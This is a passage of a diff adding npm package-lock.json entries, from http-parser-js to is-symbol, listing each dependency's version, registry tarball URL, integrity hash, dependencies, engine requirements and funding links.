"https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.3.tgz", + "integrity": "sha512-t7hjvef/5HEK7RWTdUzVUhl8zkEu+LlaE0IYzdMuvbSDipxBRpOn4Uhw8ZyECEa808iVT8XCjzo6xmYt4CiLZg==", + "dev": true + }, + "node_modules/http-proxy": { + "version": "1.18.1", + "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "dev": true, + "dependencies": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/http-proxy-middleware": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.1.tgz", + "integrity": "sha512-cfaXRVoZxSed/BmkA7SwBVNI9Kj7HFltaE5rqYOub5kWzWZ+gofV2koVN1j2rMW7pEfSSlCHGJ31xmuyFyfLOg==", + "dev": true, + "dependencies": { + "@types/http-proxy": "^1.17.5", + "http-proxy": "^1.18.1", + "is-glob": "^4.0.1", + "is-plain-obj": "^3.0.0", + "micromatch": "^4.0.2" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/http-proxy-middleware/node_modules/is-plain-obj": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz", + "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "dev": true, + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/hyphenate-style-name": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/hyphenate-style-name/-/hyphenate-style-name-1.0.4.tgz", + "integrity": "sha512-ygGZLjmXfPHj+ZWh6LwbC37l43MhfztxetbFCoYTM2VjkIUpeHgSNn7QIyVFj7YQ1Wl9Cbw5sholVJPzWvC2MQ==" + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/icss-utils": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-4.1.1.tgz", + "integrity": "sha512-4aFq7wvWyMHKgxsH8QQtGpvbASCf+eM3wPRLI6R+MgAnTCZ6STYsRvttLvRWK0Nfif5piF394St3HeJDaljGPA==", + "dev": true, + "dependencies": { + "postcss": "^7.0.14" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/ignore": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", + "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/import-fresh": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.2.1.tgz", + "integrity": "sha512-6e1q1cnWP2RXD9/keSkxHScg508CdXqXWgWBaETNhyuBFz+kUZlKboh+ISK+bU++DmbHimVBrOz/zzPe0sZ3sQ==", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/import-lazy": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-4.0.0.tgz", + "integrity": "sha512-rKtvo6a868b5Hu3heneU+L4yEQ4jYKLtjpnPeUdK7h0yzXGmyBTypknlkCvHFBqfX9YlorEiMM6Dnq/5atfHkw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/import-local": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.0.3.tgz", + "integrity": "sha512-bE9iaUY3CXH8Cwfan/abDKAxe1KGT9kyGsBPqf6DMK/z0a2OzAsrukeYNgIH6cH5Xr452jb1TUL8rSfCLjZ9uA==", + "dev": true, + "dependencies": { + "pkg-dir": "^4.2.0", + "resolve-cwd": "^3.0.0" + }, + "bin": { + "import-local-fixture": "fixtures/cli.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", + "dev": true, + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/indexes-of": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz", + "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc=", + "dev": true + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", + "dev": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "dev": true + }, + "node_modules/inquirer": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-7.1.0.tgz", + "integrity": "sha512-5fJMWEmikSYu0nv/flMc475MhGbB7TSPd/2IpFV4I4rMklboCH2rQjYY5kKiYGHqUF9gvaambupcJFFG9dvReg==", + "dev": true, + "dependencies": { + "ansi-escapes": "^4.2.1", + "chalk": "^3.0.0", + "cli-cursor": "^3.1.0", + "cli-width": "^2.0.0", + "external-editor": "^3.0.3", + "figures": "^3.0.0", + "lodash": "^4.17.15", + "mute-stream": "0.0.8", + "run-async": "^2.4.0", + "rxjs": "^6.5.3", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0", + "through": "^2.3.6" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/inquirer/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/inquirer/node_modules/ansi-styles": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", + "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==", + "dev": true, + "dependencies": { + "@types/color-name": "^1.1.1", + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/inquirer/node_modules/chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/inquirer/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/inquirer/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/inquirer/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/inquirer/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/inquirer/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/inquirer/node_modules/string-width": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.0.tgz", + "integrity": "sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/inquirer/node_modules/strip-ansi": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", + "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/inquirer/node_modules/supports-color": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz", + "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/internal-ip": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-6.2.0.tgz", + "integrity": "sha512-D8WGsR6yDt8uq7vDMu7mjcR+yRMm3dW8yufyChmszWRjcSHuxLBkR3GdS2HZAjodsaGuCvXeEJpueisXJULghg==", + "dev": true, + "dependencies": { + "default-gateway": "^6.0.0", + "ipaddr.js": "^1.9.1", + "is-ip": "^3.1.0", + "p-event": "^4.2.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/internal-ip?sponsor=1" + } + }, + "node_modules/internal-ip/node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/internal-slot": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz", + "integrity": "sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.1.0", + "has": "^1.0.3", + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/interpret": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-2.2.0.tgz", + "integrity": "sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "dependencies": { + "loose-envify": "^1.0.0" + } + }, + "node_modules/ip": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.5.tgz", + "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=", + "dev": true + }, + "node_modules/ip-regex": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-4.3.0.tgz", + "integrity": "sha512-B9ZWJxHHOHUhUjCPrMpLD4xEq35bUTClHM1S6CBU5ixQnkZmwipwgc96vAd7AAGM9TGHvJR+Uss+/Ak6UphK+Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ipaddr.js": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.0.1.tgz", + "integrity": "sha512-1qTgH9NG+IIJ4yfKs2e6Pp1bZg8wbDbKHT21HrLIeYBTRLgMYKnMTPAuI3Lcs61nfx5h1xlXnbJtH1kX5/d/ng==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/is-alphabetical": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-1.0.4.tgz", + "integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-alphanumerical": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz", + "integrity": "sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==", + "dev": true, + "dependencies": { + "is-alphabetical": "^1.0.0", + "is-decimal": "^1.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-arguments": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz", + "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=" + }, + "node_modules/is-bigint": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz", + "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", + "dev": true, + "dependencies": { + "has-bigints": "^1.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-boolean-object": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz", + "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-buffer": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "engines": { + "node": ">=4" + } + }, + "node_modules/is-callable": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.4.tgz", + "integrity": "sha512-nsuwtxZfMX67Oryl9LCQ+upnC0Z0BgpwntpS89m1H/TLF0zNfzfLMV/9Wa/6MZsj0acpEjAO0KF1xT6ZdLl95w==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-core-module": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.7.0.tgz", + "integrity": "sha512-ByY+tjCciCr+9nLryBYcSD50EOGWt95c7tIsKTG1J2ixKKXPvF7Ej3AVd+UfDydAJom3biBGDBALaO79ktwgEQ==", + "dev": true, + "dependencies": { + "has": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-date-object": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", + "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-decimal": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-1.0.4.tgz", + "integrity": "sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "dev": true, + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", + "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-hexadecimal": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz", + "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-in-browser": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/is-in-browser/-/is-in-browser-1.1.3.tgz", + "integrity": "sha1-Vv9NtoOgeMYILrldrX3GLh0E+DU=" + }, + "node_modules/is-ip": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-ip/-/is-ip-3.1.0.tgz", + "integrity": "sha512-35vd5necO7IitFPjd/YBeqwWnyDWbuLH9ZXQdMfDA8TEo7pv5X8yfrvVO3xbJbLUlERCMvf6X0hTUamQxCYJ9Q==", + "dev": true, + "dependencies": { + "ip-regex": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-negative-zero": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.1.tgz", + "integrity": "sha512-2z6JzQvZRa9A2Y7xC6dQQm4FSTSTNWjKIYYTt4246eMTJmIo0Q+ZyOsU66X8lxK1AbB92dFeglPLrhwpeRKO6w==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-number-object": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.6.tgz", + "integrity": "sha512-bEVOqiRcvo3zO1+G2lVMy+gkkEm9Yh7cDMRusKKu5ZJKPUYSJwICTKZrNKHA2EbSP0Tu0+6B/emsYNHZyn6K8g==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-path-cwd": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz", + "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/is-path-inside": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "dev": true, + "dependencies": { + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-regex": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz", + "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-regexp": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-2.1.0.tgz", + "integrity": "sha512-OZ4IlER3zmRIoB9AqNhEggVxqIH4ofDns5nRrPS6yQxXE1TPCUpFznBfRQmQa8uC+pXqjMnukiJBxCisIxiLGA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/is-shared-array-buffer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.1.tgz", + "integrity": "sha512-IU0NmyknYZN0rChcKhRO1X8LYz5Isj/Fsqh8NJOSf+N/hCOTwy29F32Ik7a+QszE63IdvmwdTPDd6cZ5pg4cwA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-string": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", + "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-symbol": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", + "integrity": 